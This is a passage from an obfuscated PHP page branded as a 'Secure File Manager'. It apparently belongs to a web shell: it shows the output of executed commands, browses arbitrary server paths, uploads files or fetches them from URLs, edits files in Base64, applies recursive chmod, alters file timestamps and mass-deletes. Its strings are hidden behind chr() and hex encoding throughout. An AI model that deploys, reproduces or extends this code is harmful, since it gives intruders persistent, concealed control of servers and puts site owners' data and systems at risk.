btn-sm" type="submit">Logout</button> </form> </div> </header> <main class="w-full px-6 py-4 grid grid-cols-12 gap-4"> <?php if (!empty($_SESSION[chr(99).chr(109).chr(100).chr(95).chr(114).chr(101).chr(115).chr(117).chr(108).chr(116)])): $_ce5c7c = $_SESSION[chr(99).chr(109).chr(100).chr(95).chr(114).chr(101).chr(115).chr(117).chr(108).chr(116)]; unset($_SESSION["\x63\x6d\x64\x5f\x72\x65\x73\x75\x6c\x74"]); ?> <section class="col-span-12"> <div class="card p-4 mb-4"> <details open> <summary class="cursor-pointer font-medium"> Command Output × <span class="mono"><?php echo _f47f5a0c5($_ce5c7c["\x63\x6d\x64"]); ?></span> <span class="ml-2 text-xs text-slate-400">via <?php echo _f47f5a0c5($_ce5c7c[chr(109).chr(101).chr(116).chr(104).chr(111).chr(100)]); ?>, exit <?php echo _f47f5a0c5((string)$_ce5c7c["\x63\x6f\x64\x65"]); ?></span> </summary> <pre id="cmdOutPre" class="mt-3 p-3 bg-black/40 rounded-lg overflow-auto text-xs mono border border-slate-700" style="max-height: 480px;"><?php echo _f47f5a0c5($_ce5c7c[chr(111).chr(117).chr(116)]); ?></pre> </details> </div> </section> <?php endif; ?> <!-- SIDEBAR --> <aside class="col-span-12 xl:col-span-3 space-y-4"> <?php if (!empty($_SESSION[chr(109).chr(115).chr(103)])): ?> <div class="rounded-xl border border-blue-900/60 bg-blue-900/20 text-blue-100 px-4 py-3"> <?php echo _f47f5a0c5($_SESSION[chr(109).chr(115).chr(103)]); unset($_SESSION["\x6d\x73\x67"]); ?> </div> <?php endif; ?> <section class="card p-4"> <h2 class="font-medium mb-3">Navigation</h2> <div class="mb-2 text-sm text-slate-300">Breadcrumbs</div> <div class="flex flex-wrap gap-1 text-sm"> <?php foreach (_f75f183a4($_c1a7c7) as $_5e333c => $_f3e9a8): list($_10428d, $_19de40) = $_f3e9a8; ?> <?php if ($_5e333c) echo "\x3c\x73\x70\x61\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x74\x65\x78\x74\x2d\x73\x6c\x61\x74\x65\x2d\x36\x30\x30\x22\x3e\x2f\x3c\x2f\x73\x70\x61\x6e\x3e"; ?> <a href="?p=<?php echo rawurlencode($_19de40); ?>" class="inline-flex items-center gap-1 px-2 py-1 rounded-md border border-slate-700 bg-slate-800 text-slate-200 hover:border-slate-500 hover:bg-slate-700 transition"><?php echo _f47f5a0c5($_10428d); ?></a> <?php endforeach; ?> </div> <hr class="my-4 border-slate-700"> <form method="get" class="space-y-2"> <label class="text-sm text-slate-300">Change Path</label> <input type="text" name="p" class="field mono" placeholder="/home/user" value="<?php echo _f47f5a0c5($_c1a7c7); ?>"> <div class="flex gap-2"> <button class="btn btnw" type="submit">Go</button> <a class="btn btnw" href="?">Go to CWD</a> </div> </form> </section> <!-- CREATE: New File / New Folder --> <section class="card p-4"> <h2 class="font-medium mb-3">Create</h2> <form method="post" action="?a=new-file&p=<?php echo rawurlencode($_c1a7c7); ?>" class="space-y-2"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <label class="text-sm text-slate-300">New File</label> <input type="text" name="name" class="field mono" placeholder="newfile.txt" required> <textarea name="content" class="field mono" rows="2" placeholder="(Optional) initial content; jika kosong akan diisi timestamp otomatis"></textarea> <button class="btn w-full" type="submit">Create File</button> <div class="text-xs text-slate-400">Dibuat non-0 byte dengan beberapa fallback (lintas versi PHP).</div> </form> <hr class="my-3 border-slate-700"> <form method="post" action="?a=new-dir&p=<?php echo rawurlencode($_c1a7c7); ?>" class="space-y-2"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <label class="text-sm text-slate-300">New Folder</label> <input type="text" name="name" class="field mono" placeholder="NewFolder" required> <button class="btn w-full" type="submit">Create Folder</button> </form> </section> <section class="card p-4"> <h2 class="font-medium mb-3">Upload</h2> <div class="grid grid-cols-1 gap-4"> <form method="post" enctype="multipart/form-data" action="?a=upload&p=<?php echo rawurlencode($_c1a7c7); ?>" class="space-y-2"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="file" name="files[]" multiple class="block text-sm file:mr-3 file:rounded-md file:border file:border-slate-700 file:px-3 file:py-1.5 file:bg-slate-800 file:text-slate-200"> <button class="btn w-full" type="submit">Upload Files</button> <div class="text-xs text-slate-400">Fallback order: move × rename × copy × get+put × stream copy.</div> </form> <form method="post" action="?a=url-upload&p=<?php echo rawurlencode($_c1a7c7); ?>" class="space-y-2"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="url" name="url" class="field" placeholder="https://example.com/file.txt" required> <input type="text" name="filename" class="field" placeholder="File name (optional)"> <button class="btn w-full" type="submit">Fetch from URL</button> <div class="text-xs text-slate-400">Methods: cURL × copy(stream) × get+put × stream copy.</div> </form> <div class="text-xs text-slate-400"> Tip: You can also drag & drop files anywhere on this page to upload. </div> </div> </section> </aside> <!-- MAIN: Editor / Preview panels + Table --> <section class="col-span-12 xl:col-span-9 flex flex-col gap-4"> <?php if ($_0a041a): ?> <?php $_828e26 = ($_103d1f === "\x61\x75\x74\x6f"); if ($_828e26) { $_103d1f = _f2048ca2d($_0a041a) ? chr(116).chr(120).chr(116) : "\x62\x36\x34"; } $_8a67be = @file_get_contents($_0a041a); if ($_8a67be === false) { $_8a67be = ""; } $_8ff298 = ($_103d1f === chr(98).chr(54).chr(52)) ? base64_encode($_8a67be) : $_8a67be; ?> <div class="card p-4" id="editPanelWrap"> <details id="editPanel" open> <summary class="cursor-pointer font-medium flex items-center justify-between"> <div class="flex items-center gap-2"> <span>Edit File</span> <span class="text-xs text-slate-400">Size: <?php echo _f47f5a0c5(_f50e89043((int)@filesize($_0a041a))); ?></span> </div> <div class="flex items-center gap-2"> <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('editPanel').open=false">Close</button> </div> </summary> <div class="mt-3 text-xs text-slate-400 mono line-clamp-2"><?php echo _f47f5a0c5($_0a041a); ?></div> <div class="mt-2"> <a class="inline-block px-2 py-1 rounded-md border border-slate-700 text-xs <?php echo $_103d1f === chr(116).chr(120).chr(116) ? "\x62\x67\x2d\x69\x6e\x64\x69\x67\x6f\x2d\x36\x30\x30\x20\x74\x65\x78\x74\x2d\x77\x68\x69\x74\x65\x20\x62\x6f\x72\x64\x65\x72\x2d\x69\x6e\x64\x69\x67\x6f\x2d\x36\x30\x30" : "\x62\x67\x2d\x73\x6c\x61\x74\x65\x2d\x38\x30\x30"; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($_0a041a)); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>&mode=txt">Text</a> <a class="inline-block px-2 py-1 rounded-md border border-slate-700 text-xs <?php echo $_103d1f === chr(98).chr(54).chr(52) ? chr(98).chr(103).chr(45).chr(105).chr(110).chr(100).chr(105).chr(103).chr(111).chr(45).chr(54).chr(48).chr(48).chr(32).chr(116).chr(101).chr(120).chr(116).chr(45).chr(119).chr(104).chr(105).chr(116).chr(101).chr(32).chr(98).chr(111).chr(114).chr(100).chr(101).chr(114).chr(45).chr(105).chr(110).chr(100).chr(105).chr(103).chr(111).chr(45).chr(54).chr(48).chr(48) : "\x62\x67\x2d\x73\x6c\x61\x74\x65\x2d\x38\x30\x30"; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($_0a041a)); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>&mode=b64">Base64</a> </div> <form method="post" accept-charset="UTF-8" action="?a=edit-save&p=<?php echo rawurlencode($_c1a7c7); ?>" class="mt-3" id="editForm"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="file" value="<?php echo _f47f5a0c5(basename($_0a041a)); ?>"> <input type="hidden" name="mode" value="<?php echo _f47f5a0c5($_103d1f); ?>"> <?php if ($_103d1f === "\x74\x78\x74"): ?> <textarea id="editor" name="content"><?php echo _f47f5a0c5($_8ff298); ?></textarea> <?php else: ?> <textarea name="content" class="w-full h-72 border border-slate-700 rounded-xl p-3 mono bg-slate-900 text-slate-100" spellcheck="false"><?php echo _f47f5a0c5($_8ff298); ?></textarea> <div class="mt-2 text-xs text-slate-400">Base64 mode: content will be decoded on save.</div> <?php endif; ?> <div class="mt-3 flex flex-wrap gap-2 items-center"> <button class="btn btnw" type="submit">Save</button> <button class="btn btnw btn-ghost" type="button" onclick="document.getElementById('editPanel').open=false">Close</button> <a class="btn btnw" href="?p=<?php echo rawurlencode($_c1a7c7); ?>">Exit & Reset</a> <?php if ($_103d1f === chr(116).chr(120).chr(116)): ?> <span class="text-xs text-slate-400">Text mode: syntax highlighting auto-detects file type.</span> <?php endif; ?> </div> </form> </details> </div> <?php endif; ?> <?php if ($_8470fb): ?> <?php $_6ed93d = (int)@filesize($_8470fb); $_7faa43 = strtolower(pathinfo($_8470fb, PATHINFO_EXTENSION)); $_15c3c4 = in_array($_7faa43, array(chr(106).chr(112).chr(103), "\x6a\x70\x65\x67", "\x70\x6e\x67", chr(103).chr(105).chr(102), "\x77\x65\x62\x70", chr(98).chr(109).chr(112), chr(115).chr(118).chr(103))); $_4a19ce = _f2048ca2d($_8470fb); $_27c400 = 512 * 1024; $_e4713a = ""; if ($_4a19ce) { $_e4713a = @file_get_contents($_8470fb, false, null, 0, $_27c400); if ($_e4713a === false) $_e4713a = ''; } ?> <div class="card p-4" id="previewWrap"> <details id="previewPanel" open> <summary class="cursor-pointer font-medium flex items-center justify-between"> <div class="flex items-center gap-2"> <span>Preview: <span class="mono"><?php echo _f47f5a0c5(basename($_8470fb)); ?></span></span> <span class="text-xs text-slate-400">Size: <?php echo _f47f5a0c5(_f50e89043($_6ed93d)); ?></span> </div> <div class="flex items-center gap-2"> <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('previewPanel').open=false">Close</button> </div> </summary> <div class="mt-3 text-xs text-slate-400 mono"><?php echo _f47f5a0c5($_8470fb); ?></div> <div class="mt-3"> <?php if ($_15c3c4): ?> <img src="?a=raw&f=<?php echo rawurlencode(basename($_8470fb)); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>" alt="preview image" class="max-w-full rounded-lg border border-slate-700" style="max-height:480px;object-fit:contain;"> <?php elseif ($_4a19ce): ?> <pre id="previewPre" class="p-3 bg-black/40 rounded-lg overflow-auto text-sm mono border border-slate-700" style="max-height:480px;"><?php echo _f47f5a0c5($_e4713a); ?></pre> <?php if ($_6ed93d > $_27c400): ?> <div class="mt-2 text-xs text-slate-400">Showing <?php echo _f47f5a0c5(_f50e89043($_27c400)); ?> of <?php echo _f47f5a0c5(_f50e89043($_6ed93d)); ?>. Use Edit/Download for full content.</div> <?php endif; ?> <?php else: ?> <div class="rounded-lg border border-slate-700 p-3 bg-slate-900/50"> <div class="text-sm">This file type cannot be previewed directly.</div> <div class="mt-2 flex gap-2"> <a class="btn btn-sm btnw" href="?a=download&f=<?php echo rawurlencode(basename($_8470fb)); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>">Download</a> <a class="btn btn-sm btnw" href="?a=edit&f=<?php echo rawurlencode(basename($_8470fb)); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>">Edit (careful if binary)</a> </div> </div> <?php endif; ?> </div> </details> </div> <?php endif; ?> <div class="card p-4 flex flex-col" id="tableCard"> <div class="flex items-center justify-between mb-3"> <h2 class="font-medium">Directory Contents</h2> <div class="text-sm text-slate-400">Dirs: <?php echo count($_86a06f); ?> × Files: <?php echo count($_6c0157); ?></div> </div> <form method="post" action="?a=mass-delete&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex-1 flex flex-col" id="bulkDeleteForm"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <div class="mb-3 flex flex-wrap gap-2"> <button class="btn btn-sm btnw" type="submit" onclick="return confirm('Delete all selected items?')">Delete Selected</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="selectAll(true)">Select All</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="selectAll(false)">Select None</button> <div class="hidden md:flex items-center gap-2 ml-auto text-xs text-slate-400"> <span>Sort:</span> <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('name')">Name</button> <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('size')">Size</button> <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('mtime')">Modified</button> </div> <!-- Toggle drag-to-move (default OFF) --> <label class="flex items-center gap-2 text-xs text-slate-300 ml-2"> <input id="dragToggle" type="checkbox" class="accent-indigo-500"> Enable drag-to-move </label> </div> <div class="tablewrap overflow-x-auto rounded-xl border border-slate-700 flex-1" id="dropZone"> <table id="dirTable" class="tbl min-w-full text-sm"> <thead class="text-left border-b border-slate-700"> <tr> <th class="py-2 px-2 w-10"><input type="checkbox" id="chkAll" onclick="toggleAll(this)"></th> <th class="py-2 px-2">Name</th> <th class="py-2 px-2">Size</th> <th class="py-2 px-2">Perms</th> <th class="py-2 px-2">Owner</th> <th class="py-2 px-2">Modified</th> <th class="py-2 px-2">Actions</th> </tr> </thead> <tbody id="dirBody"> <?php foreach ($_86a06f as $_10428d): $_c0a0b4 = $_c1a7c7 . DIRECTORY_SEPARATOR . $_10428d; $_4078ca = @is_readable($_c0a0b4); $_e908c6 = @is_writable($_c0a0b4); $_82287a = $_e908c6 ? chr(116).chr(101).chr(120).chr(116).chr(45).chr(108).chr(105).chr(109).chr(101).chr(45).chr(52).chr(48).chr(48) : ($_4078ca ? chr(116).chr(101).chr(120).chr(116).chr(45).chr(119).chr(104).chr(105).chr(116).chr(101) : "\x74\x65\x78\x74\x2d\x72\x65\x64\x2d\x34\x30\x30"); ?> <tr class="border-b border-slate-800 hoverable" data-type="dir" data-name="<?php echo _f47f5a0c5(strtolower($_10428d)); ?>" data-size="0" data-mtime="<?php echo (int)@filemtime($_c0a0b4); ?>" draggable="true" ondragstart="onDragStartItem(event, <?php echo _f5f83b871($_10428d); ?>)" ondragover="onDragOverDir(event)" ondragleave="onDragLeaveDir(event)" ondrop="onDropToDir(event, <?php echo _f5f83b871($_10428d); ?>)"> <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo _f47f5a0c5($_10428d); ?>"></td> <td class="py-2 px-2"> <div class="flex items-center gap-2 <?php echo $_82287a; ?>"> <?php echo _f7ccdf13e($_c0a0b4); ?> <a class="hover:underline font-medium text-white" draggable="false" onclick="return guardLinkCopy(event)" href="?p=<?php echo rawurlencode($_c0a0b4); ?>"><?php echo _f47f5a0c5($_10428d); ?></a> <span class="badge-small">DIR</span> </div> </td> <td class="py-2 px-2">-</td> <td class="py-2 px-2 mono <?php echo $_82287a; ?>"><?php echo _f47f5a0c5(_f9d27aeb8($_c0a0b4)); ?></td> <td class="py-2 px-2"><?php echo _f47f5a0c5(_f7d677136($_c0a0b4)); ?></td> <td class="py-2 px-2"><?php echo _f47f5a0c5(date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\x73", @filemtime($_c0a0b4) ?: time())); ?></td> <td class="py-2 px-2"> <div class="row-actions"> <span class="btn btn-xs btnw" style="opacity:.35; pointer-events:none;">Edit</span> <span class="btn btn-xs btnw" style="opacity:.35; pointer-events:none;">Download</span> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('rn-<?php echo _f47f5a0c5($_10428d); ?>')">Rename</button> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('cm-<?php echo _f47f5a0c5($_10428d); ?>')">Chmod</button> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('mt-<?php echo _f47f5a0c5($_10428d); ?>')">Change Date</button> <form method="post" action="?a=delete&p=<?php echo rawurlencode($_c1a7c7); ?>" onsubmit="return confirm('Delete this directory (recursive)?')" class="inline"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <button class="btn btn-xs btnw" type="submit">Delete</button> </form> </div> <div id="rn-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=rename&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="old" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="new" class="field w-48" placeholder="New name"> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="cm-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=chmod&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="mode" class="field w-28 mono" placeholder="0755"> <label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive"> recursive</label> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="mt-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=mtime&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="ts" class="field w-56 mono" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required> <label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive" checked> recursive</label> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php foreach ($_6c0157 as $_10428d): $_c0a0b4 = $_c1a7c7 . DIRECTORY_SEPARATOR . $_10428d; $_650fb8 = (int)@filesize($_c0a0b4); $_93942a = (int)@filemtime($_c0a0b4); $_df0b59 = strtolower(pathinfo($_c0a0b4, PATHINFO_EXTENSION)); $_4078ca = @is_readable($_c0a0b4); $_e908c6 = @is_writable($_c0a0b4); $_82287a = $_e908c6 ? chr(116).chr(101).chr(120).chr(116).chr(45).chr(108).chr(105).chr(109).chr(101).chr(45).chr(52).chr(48).chr(48) : ($_4078ca ? chr(116).chr(101).chr(120).chr(116).chr(45).chr(119).chr(104).chr(105).chr(116).chr(101) : "\x74\x65\x78\x74\x2d\x72\x65\x64\x2d\x34\x30\x30"); ?> <tr class="border-b border-slate-800 hoverable" data-type="file" data-name="<?php echo _f47f5a0c5(strtolower($_10428d)); ?>" data-size="<?php echo $_650fb8; ?>" data-mtime="<?php echo $_93942a; ?>" draggable="true" ondragstart="onDragStartItem(event, <?php echo _f5f83b871($_10428d); ?>)"> <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo _f47f5a0c5($_10428d); ?>"></td> <td class="py-2 px-2"> <div class="flex items-center gap-2 <?php echo $_82287a; ?>"> <?php echo _f7ccdf13e($_c0a0b4); ?> <a class="font-medium hover:underline text-white" draggable="false" onclick="return guardLinkCopy(event)" href="?a=view&f=<?php echo rawurlencode($_10428d); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>"> <?php echo _f47f5a0c5($_10428d); ?> </a> </div> </td> <td class="py-2 px-2 mono"><?php echo _f47f5a0c5(_f50e89043($_650fb8)); ?></td> <td class="py-2 px-2 mono <?php echo $_82287a; ?>"><?php echo _f47f5a0c5(_f9d27aeb8($_c0a0b4)); ?></td> <td class="py-2 px-2"><?php echo _f47f5a0c5(_f7d677136($_c0a0b4)); ?></td> <td class="py-2 px-2"><?php echo _f47f5a0c5(date("\x59\x2d\x6d\x2d\x64\x20\x48\x3a\x69\x3a\x73", $_93942a ?: time())); ?></td> <td class="py-2 px-2"> <div class="row-actions"> <a class="btn btn-xs btnw" href="?a=edit&f=<?php echo rawurlencode($_10428d); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>">Edit</a> <a class="btn btn-xs btnw" href="?a=download&f=<?php echo rawurlencode($_10428d); ?>&p=<?php echo rawurlencode($_c1a7c7); ?>">Download</a> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('rn-<?php echo _f47f5a0c5($_10428d); ?>')">Rename</button> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('cm-<?php echo _f47f5a0c5($_10428d); ?>')">Chmod</button> <button type="button" class="btn btn-xs btnw" onclick="toggleRow('mt-<?php echo _f47f5a0c5($_10428d); ?>')">Change Date</button> <?php if (in_array($_df0b59, array(chr(122).chr(105).chr(112))) || preg_match("\x7e\x5c\x2e\x28\x74\x61\x72\x7c\x74\x61\x72\x5c\x2e\x67\x7a\x7c\x74\x61\x72\x5c\x2e\x62\x7a\x32\x7c\x74\x61\x72\x5c\x2e\x78\x7a\x29\x24\x7e\x69", $_10428d)): ?> <form method="post" action="?a=unzip&p=<?php echo rawurlencode($_c1a7c7); ?>" class="inline"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="file" value="<?php echo _f47f5a0c5($_10428d); ?>"> <button class="btn btn-xs btnw" type="submit">Unzip here</button> </form> <?php endif; ?> <form method="post" action="?a=delete&p=<?php echo rawurlencode($_c1a7c7); ?>" class="inline" onsubmit="return confirm('Delete this file?')"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <button class="btn btn-xs btnw" type="submit">Delete</button> </form> </div> <div id="rn-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=rename&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2 mt-1"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="old" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="new" class="field w-48" placeholder="New name"> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="cm-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=chmod&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2 items-center mt-1"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="mode" class="field w-24 mono" placeholder="0644"> <label class="text-xs flex items-center gap-1"><input type="checkbox" name="recursive"> recursive</label> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="mt-<?php echo _f47f5a0c5($_10428d); ?>" class="hidden mt-2"> <form method="post" action="?a=mtime&p=<?php echo rawurlencode($_c1a7c7); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="hidden" name="target" value="<?php echo _f47f5a0c5($_10428d); ?>"> <input type="text" name="ts" class="field w-56 mono" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required> <label class="text-xs flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label> <button class="btn btn-sm btnw" type="submit">OK</button> <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($_86a06f) && empty($_6c0157)): ?> <tr><td colspan="7" class="py-6 text-center text-slate-400">Empty</td></tr> <?php endif; ?> </tbody> </table> </div> <!-- below the table --> <div class="mt-3"> <form method="post" action="?a=zip&p=<?php echo rawurlencode($_c1a7c7); ?>" class="inline-flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="text" name="zipname" class="field w-56" placeholder="archive-name.zip (optional)"> <button class="btn btn-sm btnw" type="submit" onclick="return collectSelectedInto(this.form)">Zip Selected</button> <span class="text-xs text-slate-400"> If ZipArchive is unavailable, a <span class="mono">.tar</span> will be created (no compression). </span> </form> </div> </form> </div> </section> </main> <!-- Footer --> <footer class="w-full px-6 py-4"> <div class="footer-line mb-3"></div> <div class="text-xs text-slate-400 flex items-center justify-between"> <span>© <?php echo $_aaa9a3; ?> BLUE — Secure File Manager. All rights reserved.</span> <span>Built with ❤️ & Tailwind · Dark UI</span> </div> </footer> <script> document.documentElement.classList.add('dark'); // Jangan navigasi ketika ada teks terseleksi (agar <a> gampang di-copy) function guardLinkCopy(e){ var sel = ''; if (window.getSelection) sel = String(window.getSelection()); if (sel && sel.length > 0){ e.preventDefault(); return false; } return true; } // Search filter const searchEl = document.getElementById('searchBox'); function filterRows(){ const q = (searchEl && searchEl.value || '').trim().toLowerCase(); const rows = document.querySelectorAll('#dirBody tr'); rows.forEach(function(r){ var name = r.getAttribute('data-name')||''; r.style.display = name.indexOf(q) !== -1 ? '' : 'none'; }); } window.addEventListener('keydown', function(e){ if(e.ctrlKey && e.key === '/'){ e.preventDefault(); if(searchEl){searchEl.focus();} } }); // Sort var sortState = { key:'name', asc:true }; function sortBy(key){ var body = document.getElementById('dirBody'); var rows = Array.prototype.slice.call(body.querySelectorAll('tr')); var factor = (sortState.key===key && sortState.asc)?-1:1; sortState = { key: key, asc: factor===1 }; rows.sort(function(a,b){ if(key==='name'){ return a.dataset.name.localeCompare(b.dataset.name) * factor; } if(key==='size' || key==='mtime'){ var av = parseInt(a.dataset[key]||'0',10); var bv = parseInt(b.dataset[key]||'0',10); return (av-bv) * factor; } return 0; }); rows.forEach(function(r){ body.appendChild(r); }); } // Checkboxes function toggleAll(master){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = master.checked; }); } function selectAll(flag){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = !!flag; }); var m=document.getElementById('chkAll'); if(m) m.checked=!!flag; } function toggleRow(id){ var el=document.getElementById(id); if(el) el.classList.toggle('hidden'); } function closeAction(btn){ var holder = btn.closest('div[id^="rn-"], div[id^="cm-"], div[id^="mt-"]'); if(holder) holder.classList.add('hidden'); } // Collect selected items for Zip form function collectSelectedInto(form){ Array.prototype.forEach.call(form.querySelectorAll('input[name="items[]"]'), function(n){ n.parentNode.removeChild(n); }); Array.prototype.forEach.call(document.querySelectorAll('#dirBody .rowchk:checked'), function(chk){ var i = document.createElement('input'); i.type='hidden'; i.name='items[]'; i.value=chk.value; form.appendChild(i); }); return true; } // ===== Drag & Drop Upload ===== var dropZone = document.getElementById('dropZone'); var tableCard = document.getElementById('tableCard'); var csrf = <?php echo _f5f83b871($_f7c0b0); ?>; var currentPath = <?php echo _f5f83b871($_c1a7c7); ?>; ['dragenter','dragover'].forEach(function(ev){ document.addEventListener(ev, function(e){ e.preventDefault(); e.stopPropagation(); tableCard.classList.add('drop-hint'); }); }); ['dragleave','drop'].forEach(function(ev){ document.addEventListener(ev, function(e){ if(ev==='dragleave' && e.target !== document) return; tableCard.classList.remove('drop-hint'); }); }); document.addEventListener('drop', function(e){ if(!e.dataTransfer || !e.dataTransfer.files || e.dataTransfer.files.length===0) return; e.preventDefault(); e.stopPropagation(); try{ var fd = new FormData(); fd.append('csrf', csrf); for(var i=0;i<e.dataTransfer.files.length;i++){ var f=e.dataTransfer.files[i]; fd.append('files[]', f, f.name); } fetch('?a=upload&p='+encodeURIComponent(currentPath), { method:'POST', body:fd }) .then(function(){ location.href='?p='+encodeURIComponent(currentPath); }) .catch(function(){ alert('Upload failed'); }); }catch(err){ console.error(err); alert('Upload failed'); } }); // ===== Drag to Move between directories (copy-friendly by default) ===== var draggedItemName = null; var dragEnabled = false; // DEFAULT OFF → tabel mudah di-copy // Toggle handler (function(){ var dt = document.getElementById('dragToggle'); if (dt) { dragEnabled = !!dt.checked; dt.addEventListener('change', function(){ dragEnabled = !!dt.checked; }); } })(); function onDragStartItem(ev, name){ if (!dragEnabled) { ev.preventDefault(); return false; } draggedItemName = name; ev.dataTransfer.setData('text/plain', name); ev.dataTransfer.effectAllowed = 'move'; } function onDragOverDir(ev){ if (!dragEnabled) return; ev.preventDefault(); ev.currentTarget.classList.add('droptarget'); ev.dataTransfer.dropEffect = 'move'; } function onDragLeaveDir(ev){ ev.currentTarget.classList.remove('droptarget'); } function onDropToDir(ev, dirName){ if (!dragEnabled) return; ev.preventDefault(); var row = ev.currentTarget; row.classList.remove('droptarget'); var src = draggedItemName || ev.dataTransfer.getData('text/plain'); if(!src) return; try{ var fd = new FormData(); fd.append('csrf', csrf); fd.append('src', src); var dstAbs = <?php echo _f5f83b871($_c1a7c7 . DIRECTORY_SEPARATOR); ?> + dirName; fd.append('dst', dstAbs); fetch('?a=move&p='+encodeURIComponent(currentPath), { method:'POST', body:fd }) .then(function(){ location.href='?p='+encodeURIComponent(currentPath); }) .catch(function(){ alert('Move failed'); }); }catch(err){ console.error(err); alert('Move failed'); } } // ===== CodeMirror Init (file editor text mode) ===== <?php if ($_0a041a && $_103d1f === chr(116).chr(120).chr(116)): ?> (function(){ var ta = document.getElementById('editor'); if (!ta) return; var filename = <?php echo _f5f83b871(basename($_0a041a)); ?>; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var info = CodeMirror.findModeByFileName(filename) || 